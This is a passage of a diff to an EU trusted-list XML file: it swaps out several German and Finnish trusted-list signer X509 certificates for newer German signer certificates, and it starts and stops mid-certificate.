CPlZzbyx0wY6Vw4ZD+WXHMkvkNEsuMIytA/LSA6iRceKo+43RLLz0/YvFux/UCWzJp2t1gProFdjIC3M9EWCNOQd7gMyJcygkHixDYuFLB2D/DXwGt2TdphLIosFlulvyLaIYE7PejAlG74Q+AJ6uoses7UU48GfoIka23WEdvC1brgXY6zogvxxMy4u0oCmim+YgtOE6XMQVfEiTVSgljrGbjTsKBUm+H2jK9Os1GOmBKt4NkD+PE9nPNuTUUwCKrjYvBw9wCHL1j5bmMiGRJ3bNvuSsIlot1bz4DCNksLIxgY1dgaP8g/m1OzAq4adtHiEQKZJrtZUsZ1PM22wsUvXlxEYeZ6H7pv/ZKT6zlroTzrsY9fKf7OGqgScIuPPklwc+EzONUtDwvB7bSuLoDHrYA/8VJwNB2QuCGwARlhI8mYQRsqHCUKmHbKeTOR4Z1+slylpSoHTbctHwWSelgWHgcX4sZYA7tx669OiWMVQvQglrm6SzQu2P/odyG2h1Jg4+o2kS66t4zJrCCp5T3ch4FS/87dYNr+Ik/zAWxYYvQJoeyQHxd0fHS/qBN48Vr4vLUZbWtNYLq669hrpYjxVXtWIxBz4Wf6VD70uDNYPbXOrwao3ron1g61gREpGqqd9Gw4hHih/74j66tA3hj5kb1Dz41IGLg4YhQ4g==</X509Certificate>
-                        </DigitalId>
-                    </ServiceDigitalIdentity>
-                    <ServiceDigitalIdentity>
-                        <DigitalId>
-                            <X509Certificate>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</X509Certificate>
-                        </DigitalId>
-                    </ServiceDigitalIdentity>
                     <ServiceDigitalIdentity>
                         <DigitalId>
                             <X509Certificate>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</X509Certificate>
@@ -614,6 +599,16 @@ Europska Komisija održava ovo web-mjesto kao sredstvo za postizanje interoperab
                             <X509Certificate>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</X509Certificate>
                         </DigitalId>
                     </ServiceDigitalIdentity>
+                    <ServiceDigitalIdentity>
+                        <DigitalId>
+                            <X509Certificate>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</X509Certificate>
+                        </DigitalId>
+                    </ServiceDigitalIdentity>
+                    <ServiceDigitalIdentity>
+                        <DigitalId>
+                            <X509Certificate>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</X509Certificate>
+                        </DigitalId>
+                    </ServiceDigitalIdentity>
                 </ServiceDigitalIdentities>
                 <TSLLocation>https://tl.bundesnetzagentur.de/TL-DE.XML</TSLLocation>
                 <AdditionalInformation>
@@ -949,16 +944,6 @@ Europska Komisija održava ovo web-mjesto kao sredstvo za postizanje interoperab
             </OtherTSLPointer>
             <OtherTSLPointer>
                 <ServiceDigitalIdentities>
-                    <ServiceDigitalIdentity>
-                        <DigitalId>
-                            <X509Certificate>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</X509Certificate>
-                        </DigitalId>
-                    </ServiceDigitalIdentity>
-                    <ServiceDigitalIdentity>
-                        <DigitalId>
-                            <X509Certificate>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